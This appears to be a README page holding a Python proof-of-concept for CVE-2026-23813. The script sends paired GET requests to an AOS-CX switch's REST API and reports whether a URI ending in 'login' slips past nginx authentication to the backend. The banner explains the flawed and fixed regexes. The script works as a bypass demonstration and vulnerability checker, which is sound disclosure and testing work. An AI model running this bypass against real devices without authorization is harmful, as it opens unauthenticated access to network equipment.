README.md
Rendering markdown...
#!/usr/bin/env python3
"""CVE-2026-23813 — bypass mechanic demonstration.
Sends two GETs to the AOS-CX REST API and prints the response codes
side-by-side. Both target the user-record endpoint under /system/users/;
the second smuggles a 'login' suffix in the trailing segment, which makes
nginx match the unauthenticated 'login' location and forward the raw
URI to the backend.
No data is read, no state is changed.
"""
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
BANNER = """\
CVE-2026-23813 — bypass demonstration
The vulnerable nginx regex is: ^/rest/(|v.*/)login
The .* in the version capture matches '/', so any URI ending in 'login*'
is treated as the unauthenticated login endpoint and proxied raw to
hpe-restd. The fixed regex restricts the version segment to digits and
dots: ^/rest/(|v[0-9\\.]+/)login
"""
def hit(url):
try:
r = requests.get(url, verify=False, timeout=10,
allow_redirects=False)
return r.status_code, len(r.content)
except requests.exceptions.RequestException as e:
return None, str(e)
def main():
if len(sys.argv) != 2:
print(f"usage: {sys.argv[0]} <host[:port]>", file=sys.stderr)
sys.exit(2)
target = sys.argv[1]
print(BANNER)
pairs = [
("normal request",
f"https://{target}/rest/v1/system/users/admin"),
("smuggled request",
f"https://{target}/rest/v1/system/users/loginpoc"),
]
smuggle_code = None
for label, url in pairs:
code, info = hit(url)
if code is None:
print(f" {label:18} → ERROR {info}")
continue
verdict = "blocked by nginx auth" if code == 401 else "reached backend"
print(f" {label:18} → HTTP {code} ({info} bytes) — {verdict}")
print(f" {url}")
if "smuggled" in label:
smuggle_code = code
print()
if smuggle_code == 401:
print("[+] PATCHED — nginx blocked the smuggle.")
elif smuggle_code is not None:
print("[!] VULNERABLE — the smuggle reached hpe-restd unauthenticated.")
else:
print("[?] UNKNOWN — could not complete the smuggled request.")
if __name__ == "__main__":
main()